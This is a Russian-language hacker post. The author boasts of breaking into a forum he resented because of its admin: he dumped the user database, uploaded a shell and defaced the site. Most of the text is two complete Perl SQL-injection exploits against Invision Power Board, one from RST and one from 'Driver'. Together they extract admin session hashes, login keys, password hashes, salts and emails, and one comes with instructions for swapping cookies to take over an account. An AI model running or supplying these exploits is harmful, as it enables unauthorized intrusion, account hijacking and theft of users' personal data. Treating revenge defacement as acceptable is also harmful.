Вчера так и похакал ненависный форум я уже давно наметил зуб на этот сайт из=за админа, т.е. он меня посылал п страшному на нашем чате. Дело было следующее полазив по сайту увидел линк на форум , ну думаю счас типа пхпбб какой-нить бажный. Не тут-то было увидел данное IPB 2.1.6 и тут же вспомнил про новый сплоит от rush. Сплоит работал исправно, но не до конца создаля админа, но меня не пускали на форум с созданными аккуантами, вот беда. Тут забзал другой сплоит под данную борду от drivera, которая просто дампит базу с форума. Сдампил я вообщем и отдал на растерзание парням, у еня проблемы с расшиффровкой хэшей с солью. Крч получил я заветный акк и в конце-концов залил долгожданный шелл. Права как всегда были на максимум, кроме пару тройку файлов, но поюзав chmod +777 *.php. все у меня вышло. Сайтец ничего вообщем-то, дизайн нормальный. Вообщем я решил тока дефейс сделать и оставить. Крч вот сцыла на зеркало http://file-hran2006.narod.ru/clubzone_def.JPG Уже вечером отдав сцылу админу его это повеселило.. хз, типа он дуамл, что его сайт не преступен. СПЛОИТ ОТ RST: :::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: #!/usr/bin/perl use IO::Socket; # # # # # # # # # # # # # ## #### ## # ## ## ###### ## ## ## ## ###### ## ## ## ## #### ## ## ### ############ ### ######################## ############## ######## ########## ####### ### ## ########## ## ### ### ## ########## ## ### ### # ########## # ### ### ## ######## ## ### ## # ###### # ## ## # #### # ## ## ## ## Invision Power Board v2.0.0 - 2.0.2 sql injection exploit ## by RusH security team (www.rst.void.ru) ## Republish by SecurityLab.ru ## coded by 1dt.w0lf ## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ## example: ## ## r57ipb.pl 127.0.0.1 /IPB202/ 2 1 3edb1eaeea640d297ee3b1f78b5679b3 ## ------------------------------------------------------------------------------------------------ ## [>] SERVER: 127.0.0.1 ## [>] DIR: /IPB202/ ## [>] FORUM: 2 ## [>] TOPIC: 1 ## [>] SID: 3edb1eaeea640d297ee3b1f78b5679b3 ## [>] PREFIX: ## [>] ID: ## ------------------------------------------------------------------------------------------------ ## ## [~] PREPARE TO CONNECT... ## [+] CONNECTED ## [~] SENDING QUERY... ## [+] DONE! ## ## PREFIX: ibf_ ## ## r57ipb.pl 127.0.0.1 /IPB202/ 2 1 3edb1eaeea640d297ee3b1f78b5679b3 ibf_ ## ------------------------------------------------------------------------------------------------ ## [>] SERVER: 127.0.0.1 ## [>] DIR: /IPB202/ ## [>] FORUM: 2 ## [>] TOPIC: 1 ## [>] SID: 3edb1eaeea640d297ee3b1f78b5679b3 ## [>] PREFIX: ibf_ ## [>] ID: ## ------------------------------------------------------------------------------------------------ ## ## [~] PREPARE TO CONNECT... ## [+] CONNECTED ## [~] SENDING QUERY... ## [+] DONE! ## ## --[ REPORT ]------------------------------------------------------------------------------------ ## MEMBER_ID: [1] NAME: [admin] PASS_HASH: [73dea61281aa9b08ed31b4ae2bb9954e] ## ------------------------------------------------------------------------------------------------ ## Now you need edit cookie and insert new pass_hash and member_id values. ## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ## Пару слов о возвращаемом эксплоитом результате: ## Значение pass_hash это не зашифрованный пароль юзера!!! а одноименное значение из кукиса с ## помощью которого можно войти на форум под любым юзером без ввода пароля. ## member_id это также одноименное значение из кукиса. ## Поэтому не стоит пытаться расшифровать pass_hash =) Просто зарегистрируйтесь на форуме и измените ## pass_hash и member_id в вашем cookie на одно из значений которые выдаст сплоит. ## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ if (@ARGV < 5) { print "-------------------------------------------------------------------------\r\n"; print " Invision Power Board v2.0.0 - 2.0.2 sql injection exploit\r\n"; print "-------------------------------------------------------------------------\r\n"; print "usage:\r\n"; print "r57ipb.pl SERVER /DIR/ FORUM_NUM TOPIC_NUM SID [TABLE_PREFIX] [USER_ID]\r\n\r\n"; print "SERVER - server where IPB installed\r\n"; print "/DIR/ - IPB directory or / for no directory\r\n"; print "FORUM_NUM - number of existing forum\r\n"; print "TOPIC_NUM - number of existing topic\r\n"; print "SID - your session id\r\n"; print "[TABLE_PREFIX] - table prefix in database\r\n"; print "[USER_ID] - user id for exploiting\r\n\r\n"; print "e.g. r57ipb.pl 127.0.0.1 /IPB/ 2 1 4496b6d35c1bc0662d721c207f81784e ibf_\r\n"; print "-------------------------------------------------------------------------\r\n"; exit(); } if (@ARGV < 6) { $get_table = 1; } $server = $ARGV[0]; $dir = $ARGV[1]; $fnum = $ARGV[2]; $tnum = $ARGV[3]; $sid = $ARGV[4]; $prefix = $ARGV[5]; $id = $ARGV[6]; print "------------------------------------------------------------------------------------------------\r\n"; print "[>] SERVER: $server\r\n"; print "[>] DIR: $dir\r\n"; print "[>] FORUM: $fnum\r\n"; print "[>] TOPIC: $tnum\r\n"; print "[>] SID: $sid\r\n"; print "[>] PREFIX: $prefix\r\n"; print "[>] ID: $id\r\n"; print "------------------------------------------------------------------------------------------------\r\n\r\n"; $server =~ s/(http:\/\/)//eg; $path = $dir; $path .= "index.php?s="; $path .= $sid; $path .= "&act=Post&CODE=02&f="; $path .= $fnum; $path .= "&t="; $path .= $tnum; if ($get_table == 1) { $path .= "&qpid=r57" } else { $path .= "&qpid=666666666)%20union%20select%201,1,1,1,1,1,1,1,1,1,CONCAT(id,char(58),name,char(58),member_login_key),1,1,1,1,1,1,1,1,1%20from%20"; $path .= $prefix; $path .= "members"; $path .= ($id)?("%20WHERE%20id=$id%20"):("%20"); $path .= "/*"; } print "[~] PREPARE TO CONNECT...\r\n"; $socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$server", PeerPort => "80") || die "[-] CONNECTION FAILED"; print "[+] CONNECTED\r\n"; print "[~] SENDING QUERY...\r\n"; print $socket "GET $path HTTP/1.1\r\n"; print $socket "Host: $server\r\n"; print $socket "Accept: */*\r\n"; print $socket "Connection: close\r\n\r\n"; print "[+] DONE!\r\n\r\n"; $suc =0; if ($get_table == 1) { while ($answer = <$socket>) { if ($answer =~ /(mySQL query error: )(.*)( FROM )(.*)(posts)/){ print "PREFIX: $4\r\n"; $suc = 1; } } if (!$suc) { print "Exploit failed\r\n"; } exit(); } print "--[ REPORT ]------------------------------------------------------------------------------------\r\n"; while ($answer = <$socket>) { if ($answer =~ /^([^:]*):([^:]*):([a-z,0-9]{32})$/) { print "MEMBER_ID: [$1] NAME: [$2] PASS_HASH: [$3]\r\n"; $suc = 1; } } print "------------------------------------------------------------------------------------------------\r\n"; if ($suc == 1) { print "Now you need edit cookie and insert new pass_hash and member_id values.\r\n"; exit(); } else { print "Exploit failed\r\n"; } :::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: СПЛОИТ ОТ Driver: :::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: #!/usr/bin/perl use LWP::UserAgent; use Getopt::Std; getopts("p:i:P:f:t:"); $path = $opt_p; $from = $opt_f; $to = $opt_t; $prefix = $opt_P || 'ibf_'; $|++; if(!$path || !$from || !$to || ($from > $to)) { &usage; } &head(); print "TEST FORUM ..."; if(get_info($prefix,$id,0) == 1) { print " FORUM VULNERABLE\n"; } else { print " FORUM UNVULNERABLE\n"; exit(); } open(RES,">result.txt"); for($i=$from;$i<$to;$i++) { get_info($prefix,$i,1); } sub get_info($$$) { $xpl = LWP::UserAgent->new( ) or die; $rep = ''; if($_[2] == 1) { $res = $xpl->get($path."?s=1",'USER_AGENT'=>'','CLIENT_IP'=>"' UNION SELECT name,1,1,1 FROM ${_[0]}members WHERE id=$_[1]/**"); if($res->as_string =~ /ipb_var_s(\s*)=(\s*)"(.*)"/) { $rep = $3; } if(length($rep)!=32) { print "$_[1])\nName: $rep\n"; print RES "$_[1])\nName: $rep\n"; } else { print ""; } $name = $rep; $res = $xpl->get($path."?s=1",'USER_AGENT'=>'','CLIENT_IP'=>"' UNION SELECT member_login_key,1,1,1 FROM ${_[0]}members WHERE id=$_[1]/**"); if($res->as_string =~ /ipb_var_s(\s*)=(\s*)"(.{32})"/) { $rep = $3; } if(length($name)==32) { print ""; } else { print "Login Key: $rep\n"; print RES "Login Key: $rep\n"; } $res = $xpl->get($path."?s=1",'USER_AGENT'=>'','CLIENT_IP'=>"' UNION SELECT converge_pass_hash,1,1,1 FROM ${_[0]}members_converge WHERE converge_id=$_[1]/**"); if($res->as_string =~ /ipb_var_s(\s*)=(\s*)"(.*)"/) { $rep = $3; } if(length($name)==32) { print ""; } else { print "Pass Hash: $rep\n"; print RES "Pass Hash: $rep\n"; } $res = $xpl->get($path."?s=1",'USER_AGENT'=>'','CLIENT_IP'=>"' UNION SELECT converge_pass_salt,1,1,1 FROM ${_[0]}members_converge WHERE converge_id=$_[1]/**"); if($res->as_string =~ /ipb_var_s(\s*)=(\s*)"(.*)"/) { $rep = $3; } if(length($rep)!=32) { print "Pass Salt: $rep\n"; print RES "Pass Salt: $rep\n"; } else { print ""; } $res = $xpl->get($path."?s=1",'USER_AGENT'=>'','CLIENT_IP'=>"' UNION SELECT email,1,1,1 FROM ${_[0]}members WHERE id=$_[1]/**"); if($res->as_string =~ /ipb_var_s(\s*)=(\s*)"(.*)"/) { $rep = $3; } if(length($rep)!=32) { print "E-Mail: $rep\n\n"; print RES "E-Mail: $rep\n\n ****** \n\n"; } else { print ""; } } elsif($_[2] == 0) { $res = $xpl->get($path."?s=1",'USER_AGENT'=>'','CLIENT_IP'=>"' UNION SELECT 'VULN',1,1,1/**"); if($res->as_string =~ /ipb_var_s(\s*)=(\s*)"(.*)"/) { $rep = $3; } if($rep eq 'VULN') { return 1; } else { return 0; } } } sub usage() { &head(); print "| Usage: |\n"; print "| .pl -p [path] -f [u_id] -t [u_id] |\n"; print "| -p [path] ~ path to index.php |\n"; print "| -f [num] ~ get data from this id |\n"; print "| -t [num] ~ get data to this id |\n"; print "+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~+\n"; exit(); } sub head() { print "+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~+\n"; print "| IPB <= 2.1.6 Users Dumper |\n"; print "+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~+\n"; print "| Based on RST IPB <= 2.1.6 Mail Sploit |\n"; print "+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~+\n"; print "| Modified by Driver |\n"; print "+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~+\n"; } ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
|